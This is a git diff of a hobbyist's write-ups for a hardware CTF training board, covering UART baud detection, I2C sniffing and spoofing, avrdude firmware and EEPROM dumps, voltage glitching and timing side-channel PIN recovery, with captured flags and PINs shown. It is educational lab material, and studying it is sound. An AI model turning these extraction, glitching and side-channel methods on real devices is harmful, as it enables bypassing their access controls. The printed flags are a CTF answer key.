+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
